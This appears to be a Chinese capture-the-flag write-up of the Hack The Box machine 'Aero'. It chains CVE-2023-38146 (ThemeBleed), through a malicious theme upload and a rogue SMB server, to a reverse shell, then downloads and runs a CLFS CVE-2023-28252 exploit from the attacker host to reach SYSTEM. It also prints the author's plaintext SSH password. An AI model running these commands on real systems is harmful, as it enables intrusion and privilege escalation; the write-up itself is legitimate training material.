Aero

1
TARGET="10.129.229.128"

01.信息搜集

端口扫描

1
sudo nmap -sT -sV -sC -O -p 80 $TARGET -oA nmapscan/detail
1
2
3
4
5
6
7
8
9
10
PORT   STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Aero Theme Hub
|_http-server-header: Microsoft-IIS/10.0

Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 10|11 (85%)
OS CPE: cpe:/o:microsoft:windows_10 cpe:/o:microsoft:windows_11
Aggressive OS guesses: Microsoft Windows 10 1703 or Windows 11 21H2 - 23H2 (85%)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

仅开放 80 端口,IIS 10.0,推测为 Windows 10/11。

1
2
sudo nmap -Pn -sV -A -p 445 -T4 $TARGET
# 445/tcp filtered — SMB 端口被防火墙过滤

Web 枚举

访问 http://10.129.229.128,页面标题为 “Aero Theme Hub”,是一个 Windows 11 主题分享社区。

关键信息:

  • 网站功能:允许用户上传自定义 Windows 11 主题文件(.theme / .themepack)
  • 提示语:“As we start to develop our catalog of themes please upload your own to share with the community!”
  • 联系方式:support@aerohub.htb
  • 页面年份标注 2023

上传表单位于 #upload 区域,接受 .theme.themepack 格式文件:

1
2
3
4
<form class="form-upload" id="uploadForm" method="post" enctype="multipart/form-data" action="/upload">
<input class="form-control" type="file" id="fileInput" accept=".theme, .themepack" name="files" required>
<input name="__RequestVerificationToken" type="hidden" value="..." />
</form>

CVE 关联分析

结合 “Windows 11 主题上传” 这一功能点进行漏洞挖掘,搜索 “windows theme exploit” 找到 CVE-2023-38146(ThemeBleed):

1
2
3
4
https://nvd.nist.gov/vuln/detail/CVE-2023-38146
https://github.com/exploits-forsale/themebleed
https://github.com/Jnnshschl/CVE-2023-38146
https://github.com/Durge5/ThemeBleedPy

CVE-2023-38146 是 Windows 主题远程代码执行漏洞。Windows 加载 .theme 文件时,会通过 SMB 从远程路径加载 _vrf.dll。攻击者可以在签名验证通过后、DLL 实际加载前替换文件(TOCTOU 竞态条件),从而执行任意代码。

02.初始访问

攻击环境

攻击机使用 HTB PWNBOX(Linux),通过 SSH 连接操作:

1
2
3
4
5
6
7
# PWNBOX 连接信息
Host: htb-0mxjxuzzy5.htb-cloud.com (209.151.144.243)
Username: ch0ico
VPN IP (tun0): 10.10.14.116

# 建立 SSH 连接
sshpass -p 'uLDQ0ISn' ssh ch0ico@htb-0mxjxuzzy5.htb-cloud.com

PoC 部署

使用 Jnnshschl 的 Python 版 ThemeBleed PoC,可直接在 Linux 上运行。

克隆仓库并准备文件:

1
2
3
git clone https://github.com/Jnnshschl/CVE-2023-38146
cd CVE-2023-38146
pip3 install -r requirements.txt

修复 rev_shell_template.cpp 缺少 #include <windows.h> 的问题(否则 MAX_PATHGetFileAttributesA 等未定义),然后运行:

1
sudo python3 themebleed.py -r 10.10.14.116 -p 4711

脚本自动完成:

  • 交叉编译恶意 DLL(x86_64-w64-mingw32-g++
  • 生成参考攻击机 IP 的 .theme.themepack 文件
  • 启动自定义 SMB 服务器(监听 445 端口)

SMB 服务器的替换逻辑分三个阶段:

  • Stage 1: 正常响应 Aero.msstyles 请求
  • Stage 2: 正常响应 Aero.msstyles_vrf.dll 请求(签名验证阶段)
  • Stage 3: 当 shareAccess=0x5 时,将 Aero.msstyles_vrf.dll 替换为 Aero.msstyles_vrf_evil.dll

恶意 DLL 的 VerifyThemeVersion 导出函数会创建反向 shell 到攻击机 4711 端口。

触发漏洞

另开终端启动 nc 监听:

1
nc -lvnp 4711

上传恶意主题文件到靶机网站(需携带 CSRF Token):

1
2
3
4
TOKEN=$(curl -s http://10.129.229.128/ | grep -oP 'value="([^"]+)"' | cut -d'"' -f2 | head -1)
curl -X POST http://10.129.229.128/upload \
-F "files=@evil_theme.themepack" \
-F "__RequestVerificationToken=$TOKEN"

上传后服务器响应:

1
{"success":true,"message":"Once we test your theme it will be added to the site!"}

靶机自动触发主题加载流程:通过 SMB 连接攻击机 → 验证 DLL 签名 → 加载被替换的恶意 DLL → 获得反向 shell。

获得 Shell

1
2
PS C:\Windows\system32> whoami
aero\sam.emerson

用户 sam.emerson,位于 C:\Users\sam.emerson\Desktop\user.txt

1
2
type C:\Users\sam.emerson\Desktop\user.txt
52587dfb4fcd6588198c2b5d6594c2bb

03.权限提升

信息收集

sam.emerson 用户目录中发现 CVE 公告文件,提示系统存在 CVE-2023-28252(CLFS 驱动本地提权漏洞)。

CVE-2023-28252 是 Windows Common Log File System (CLFS) 驱动中的越界写入漏洞,可被利用将当前进程 Token 替换为 SYSTEM Token,实现本地提权至 NT AUTHORITY\SYSTEM。

Exploit 准备

使用预编译版本(duck-sec/CVE-2023-28252-Compiled-exe),无需 Visual Studio:

1
2
curl -L -o exploit.exe \
"https://raw.githubusercontent.com/duck-sec/CVE-2023-28252-Compiled-exe/master/exploit.exe"

用法:exploit.exe <Token Offset> <Flag> <Program to execute>

  • Token Offset: 1208(Windows 11)
  • Flag: 1(Windows 11)

启动 HTTP 服务器和 SYSTEM 监听器:

1
2
3
4
5
# HTTP 服务器 — 供靶机下载 exploit
cd /tmp && python3 -m http.server 8000 &

# SYSTEM shell 监听器
nc -lvnp 9999 &

执行提权

从 sam.emerson shell 下载并执行 exploit:

1
2
iwr http://10.10.14.116:8000/exploit.exe -outfile C:\Users\Public\exploit.exe
C:\Users\Public\exploit.exe 1208 1 "cmd /c copy C:\Users\Administrator\Desktop\root.txt C:\Users\Public\root.txt"

Exploit 输出关键信息:

1
2
3
4
5
6
7
8
9
[+] Log file handle: 00000000000000EC
[+] Pool CLFS kernel address: FFFF860BD0108000
TRIGGER START
System_token_value: FFFF860BC5841597
SYSTEM TOKEN CAPTURED
Closing Handle
ACTUAL USER=SYSTEM
WE ARE SYSTEM
1 file(s) copied.

获取 Root Flag

exploit 以 SYSTEM 权限执行 copy 命令,将 root.txt 复制到 Public 目录:

1
2
type C:\Users\Public\root.txt
16f03b36a0471218a8c3924a14fd902b

04.攻击链总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
端口扫描 → Web枚举 → 识别主题上传功能

CVE-2023-38146 (ThemeBleed)
├── 制作恶意 .themepack(UNC 路径指向攻击机 SMB)
├── 部署 Python SMB 服务器(TOCTOU DLL 替换)
├── 上传主题 → 靶机加载 → DLL 注入 → 反向 shell
└── 获得 sam.emerson 用户权限

CVE-2023-28252 (CLFS)
├── 下载预编译 exploit.exe
├── 利用 CLFS 驱动漏洞进行 Token 替换
└── 提权至 NT AUTHORITY\SYSTEM

获取 root.txt

05.笔记

  • ThemeBleed 的 Python PoC 在 Linux 上运行时需确保 mingw-w64 交叉编译器可用,且 rev_shell_template.cpp 中需要显式 #include <windows.h>
  • SMB 服务器需 root 权限监听 445 端口,使用时注意 sudo 环境下的 Python 包路径(需 sudo pip3 install 依赖)。
  • PWNBOX 的 SSH 连接可能出现间歇性认证失败(速率限制),建议添加 sleep 间隔或使用 SSH config 复用连接。
  • 文件管道方式传输命令时注意特殊字符转义:PowerShell 的 $ 符在 echo 重定向时可能被解析,可用 copy / type 等 cmd 内置命令替代复杂 PowerShell 载荷。
  • CLFS exploit 对不同 Windows 版本有不同 Token Offset 和 Flag 参数,靶机为 Windows 11 21H2/22H2 时使用 1208 1